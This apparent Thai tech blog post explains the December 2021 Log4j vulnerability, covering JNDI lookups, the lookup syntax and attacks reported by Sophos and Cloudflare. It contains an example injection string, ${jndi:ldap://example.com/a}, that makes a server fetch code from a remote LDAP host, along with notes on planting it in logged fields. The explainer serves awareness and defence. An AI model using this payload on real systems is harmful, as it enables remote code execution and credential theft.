17 ธ.ค. 2021 เวลา 08:26 • ไอที & แก็ดเจ็ต
[Tech] ช่องโหว่ร้ายแรงใน Log4j คืออะไร ทำไมถึงอันตราย?
เมื่อวันที่ 9 ธันวาคม มีการเปิดเผยช่องโหว่ของโค้ดจากระยะไกลอย่างร้ายแรงใน Log4J ของ Apache ซึ่งเป็นระบบบันทึกทั่วไปที่ใช้โดยนักพัฒนาแอปพลิเคชันเว็บและเซิร์ฟเวอร์ที่ใช้ Java และภาษาโปรแกรมอื่นๆ ช่องโหว่นี้ส่งผลต่อบริการและแอปพลิเคชันที่หลากหลายบนเซิร์ฟเวอร์ ทำให้เป็นอันตรายอย่างยิ่ง—และการอัปเดตล่าสุดสำหรับแอปพลิเคชันเซิร์ฟเวอร์เหล่านั้นอย่างเร่งด่วน
ช่องโหว่นี้ทำให้ผู้โจมตีสามารถใส่ข้อความลงในข้อความบันทึกหรือพารามิเตอร์ข้อความบันทึกลงในบันทึกของเซิร์ฟเวอร์ที่โหลดโค้ดจากเซิร์ฟเวอร์ระยะไกล เซิร์ฟเวอร์เป้าหมายจะรันโค้ดนั้นผ่านการเรียก Java Naming and Directory Interface (JNDI) อินเทอร์เฟซ JNDI พร้อมบริการเครือข่ายจำนวนหนึ่ง รวมถึง Lightweight Directory Access Protocol (LDAP), Domain Name Service (DNS), Java's Remote Interface (RMI) และ Common Object Request Broker (CORBA) Sophos ได้เห็นความพยายามที่จะใช้ประโยชน์จาก LDAP, DNS และ RMI โดยใช้ URL ที่แท็กไปยังบริการเหล่านั้นที่เปลี่ยนเส้นทางไปยังเซิร์ฟเวอร์ภายนอก
นอกจากนี้ JNDI ยังมีการเปิด SPI (Service Provider Interface มองว่าเป็น API ก็ได้) ให้ทำงานกับ Directory Service อื่นได้เช่น CORBA COS, LDAP, RMI (remote method interface) และ DNS เป็นต้น
ตัวอย่าง URL ของการใช้งาน JNDI กับ LDAP เช่น ‘ldap://localhost:389/o=JNDITutorial’ หมายถึงการไปมองหา Object ที่ชื่อ ‘JNDITutorial’ จากเซิร์ฟเวอร์ LDAP ที่รันอยู่บนเครื่องและเปิดพอร์ต 389 แต่เช่นกันผู้ใช้งานสามารถรัน LDAP เซิร์ฟเวอร์ที่อยู่บนเครื่องอื่นหรือพอร์ตอื่นก็ได้ นี่คือจุดหนึ่งที่คนร้ายสามารถใช้ประโยชน์จากความสามารถตรงนี้ได้
ไม่เพียงเท่านั้น Log4j ยังมีความสามารถที่ทำให้การใช้คำสั่งนั้นซับซ้อนได้อีก ในความสามารถของ Special Syntax มีรูปแบบคือ ${prefix:name} ตัวอย่างเช่น ${java:version} ซึ่งใน 2.0-beta9 ได้มีการเพิ่มความสามารถให้ JndiLookup พร้อมกับการใช้ “:” ที่หมายถึงการไม่นับ Prefix กล่าวคือเปิดโอกาสให้สามารถประดิษฐ์คำสั่งที่ซับซ้อนได้มากขึ้นอีก
เช่น ${jndi:ldap://example.com/a} โดยการ Lookup สามารถมองหาข้อมูลได้จากทั้งส่วนคอนฟิคและ Log ที่ถูกบันทึก ด้วยเหตุนี้เองหากเพียงแฮ็กเกอร์ทราบว่ามีค่าอะไรที่น่าจะถูกเก็บ Log เอาไว้เช่น User-Agent หรือพารามิเตอร์เช่น Username ก็สามารถประดิษฐ์การโจมตีขึ้นมาได้นั่นเอง
Apache Log4j ถูกใช้กันในผู้พัฒนาเว็ปและเซิร์ฟเวอร์ที่ใช้ภาษา Java หรือเป็นส่วนหนึ่งของระบบการทำงานใหญ่ โดยในบล็อกของ Sophos ชี้ว่าตนพบการโจมตีเพื่อจุดประสงค์ทางการลอบรันโค้ด ค้นหา Log เพื่อสแกนทดสอบหาเหยื่อหรือติดตั้งตัวขุดเหมือง แม้กระทั่งการใช้เพื่อขโมยข้อมูล AWS Key หรือข้อมูลส่วนตัวอื่นๆ ภาพประกอบของการโจมตีเป็นไปตามด้านล่าง
นอกจากนี้ยังมีเครื่องมือ Interactsh ที่ช่วยให้ผู้โจมตีสามารถประดิษฐ์ Request ในรูปแบบต่างๆได้อย่างมีประสิทธิภาพ ตามภาพประกอบด้านล่าง
ในมุมของ Cloudflare เองได้เผยถึงการโจมตีที่ไม่ได้จำกัดเฉพาะกับแอปพลิเคชันที่เข้าถึงได้จากอินเทอร์เน็ต แต่มีผลกับส่วนประกอบย่อยภายในที่มีการใช้ Log4j ซึ่งอาจมีการประมวลผลคำสั่งมาจากระบบหน้าด่านอื่น(ตามภาพประกอบ) และด้วยความเกี่ยวข้องอันซับซ้อนนี้ รวมถึงความยอดนิยมของ Log4j เองจึงกล่าวได้ว่าช่องโหว่นี้มองข้ามไม่ได้และต้องมีการวิเคราะห์องค์กรหรือการทำงานหลายส่วน
อ้างอิงข้อมูล
โฆษณา